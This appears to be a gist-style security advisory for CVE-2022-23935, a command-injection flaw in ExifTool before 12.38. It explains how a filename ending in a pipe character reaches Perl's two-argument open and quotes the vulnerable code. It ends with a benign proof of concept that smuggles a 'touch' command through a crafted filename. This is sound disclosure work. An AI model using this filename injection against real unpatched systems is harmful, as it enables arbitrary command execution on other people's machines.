ert-plus / **CVE-2022-23935.md**

Created 8 months ago

Command Injection in Exiftool before 12.38

CVE-2022-23935.md

Overview

Exiftool versions < 12.38 are vulnerable to Command Injection through a crafted filename. If the filename passed to exiftool ends with a pipe character | and exists on the filesystem, then the file will be treated as a pipe and executed as an OS command.

Description

Exiftool is a "a platform-independent Perl library plus a command-line application for reading, writing and editing meta information in a wide variety of files." One of its features is being able to read metadata of compressed images. The code for this is `GetImageInfo` in `exiftool`:

```
sub GetImageInfo($$)
{
...
    if ($doUnzip) {
        # pipe through gzip or bzip2 if necessary
        if ($file =~ /\.(gz|bz2)$/i) {
            my $type = lc $1;
...
            if ($type eq 'gz') {
                $pipe = qq{gzip -dc "$file" |};
            } else {
                $pipe = qq{bzip2 -dc "$file" |};
            }
```

```
        }
    }
```

`$pipe` is eventually passed to `Open` in `lib/Image/ExifTool.pm`, which sets the file mode to read only (`<`), unless the last character is `|`. When the mode is not set and the last character is a `|`, Perl's two argument open will execute the command and "open" the command's output for reading, in this case to allow the gzip or bzip2 wrapper.

```
sub Open($*$;$)
{
    my ($self, $fh, $file, $mode) = @_;
    $file =~ s/^([\s&])/.\/$1/; # protect leading whitespace or ampersand
    # default to read mode ('<') unless input is a pipe
    $mode = ($file =~ /\|$/ ? '' : '<') unless $mode;
...
    return open $fh, "$mode$file";
}
```

Unfortunately there is no check that the pipe to open comes from a trusted command like `gzip -dc "$file" |` in `GetImageInfo`. An attacker can pass a filename that ends with a pipe (`|`) to exiftool and if it exists on the filesystem, execute it as an operating system command.

Proof of Concept

```
$ ls pwn
ls: cannot access 'pwn': No such file or directory
$ touch 'touch pwn |'
$ ./exiftool 'touch pwn |'
ExifTool Version Number         : 12.37
File Name                       : touch pwn |
Directory                       : .
File Size                       : 0 bytes
File Modification Date/Time     : 2022:01:18 18:40:18-06:00
File Access Date/Time           : 2022:01:18 18:40:18-06:00
File Inode Change Date/Time     : 2022:01:18 18:40:18-06:00
File Permissions                : prw-------
Error                           : File is empty
$ ls pwn
pwn
```